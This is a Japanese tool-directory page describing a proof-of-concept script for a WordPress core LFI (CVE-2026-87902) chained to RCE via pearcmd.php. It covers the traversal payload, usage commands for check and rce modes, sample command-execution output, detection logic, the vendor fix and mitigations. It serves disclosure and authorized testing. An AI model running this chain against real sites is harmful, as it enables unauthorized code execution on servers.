Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化ウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

CVE-2026-87902 の Shell PoC。page-template 解決を悪用した認証不要の WordPress コア LFI であり、pearcmd.php を介して RCE に連鎖する。

リポジトリを見る
14日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 — WordPressコアのページテンプレート解決における未認証ローカルファイルインクルード → RCE

Author: pwnVader · License: MIT (repository root)

ComponentWordPress core (wp-includes/template.php)
TypeCWE-98 — PHPファイルインクルード (LFI → RCE)
AffectedWordPress < 7.1.2 (7.0ブランチは 7.0.6 で修正済み、6.xのバックポートはブランチ依存)
Fixed7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

概要

get_page_template() は、pagename クエリ変数にパーセントエンコードされた文字が含まれている場合に page-{urldecode(pagename)}.php をページテンプレート階層に追加し、locate_template() はパスがアクティブテーマ内に留まることを検証せずに file_exists() / require で候補を解決します。したがって、未認証の攻撃者は、アクティブテーマ外の読み取り可能な任意のローカル .php ファイルをインクルードして実行できます。

前提条件:

  1. WordPress < 7.1.2。
  2. アクティブテーマに page- で始まるトップレベルディレクトリが存在すること (例: 公式の Twenty Fourteen には page-templates/ が同梱されています)。テンプレート名には常に page- がプレフィックスされるため、最初のパスコンポーネントが存在する必要があります。
  3. メインクエリがページ (404ではない) になるような、有効な公開ページID。スクリプトはコアのサイトマップ、ホームページのbodyクラス、または小規模なIDプローブからこれを発見します。

ペイロードは二重エンコードされているため、sanitize_title_for_query() が %2e/%2f オクテットを保持し、テンプレート解決時に get_page_template() 内の urldecode() が ../ を再構築します。

サーバーに到達可能な pearcmd.php と register_argc_argv = On (公式PHPイメージのデフォルト) が併せて存在する場合、チェーンはリモートコード実行にエスカレートします。クエリ文字列が + セパレータを介してCLIのargvになり、pear config-create が攻撃者制御の .php ファイルを書き込み、同じLFIがそれをインクルードします。

使用方法

root@kitploit:~
# Interactive menu (recommended for a quick start)
./poc.sh

# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com

# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized

# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

オプション: --page-id N、--ups N、--pearcmd PATH、--timeout N。ターゲットがlocalhostでない場合に書き込みを行う可能性のあるモードでは、--authorized (または VDP_AUTHORIZED=1) が必須です。

出力例 (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

出力例 (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

LFIが確認されたがPEARが存在しない (または register_argc_argv がOff) 場合、スクリプトは前提条件を明確に報告し、何も書き込まずに終了します (exit 3)。

検出ロジック

  1. 公開ページIDを特定する (サイトマップ → ホームページのbodyクラス → 数値プローブ)。
  2. 各候補の page-* テーマディレクトリとトラバーサル深度について、pagename パラメータ経由で page-<dir>/../../…/wp-includes/version.php をリクエストする (POST、空ボディ — WordPressが GET/HEAD を先に正規リダイレクトするため必須)。
  3. 0バイトのボディを持つ 200 レスポンス (数KBのページベースラインと比較) がインクルードを証明する。
  4. RCEチェック: 自己削除ペイロードを用いてLFI経由で pear config-create を試み、その後リクエストで指定したコマンドとともに書き込まれたファイルをインクルードする。

根本原因 / 修正

7.1.2 でのベンダー修正 (wp-includes/template.php):

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

さらに locate_template() における realpath() の包含チェック (_wp_is_template_path_allowed())。wordpress-7.0.6 にはバイト単位で同一の修正が含まれています。

緩和策

  • WordPressコアを 7.1.2 (7.0ブランチの場合は 7.0.6) に更新する。
  • 暫定措置: すべてのHTTPメソッドでトラバーサルシーケンス (..、%2e%2e、%252e%252e) を含む pagename 値を拒否するか、page-* テーマディレクトリという前提条件を除去する。

参考資料

  • NVD — CVE-2026-87902: https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • ベンダーアドバイザリ: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • 修正済みリリース: https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

免責事項

認可されたセキュリティテスト専用です。RCEモードは自己削除ペイロードを使用し、自身の一時マーカーファイル以外には何も書き込みませんが、それでもターゲット上でコマンドを実行します — 明示的な許可がある場合にのみ実行してください。

ツールをダウンロード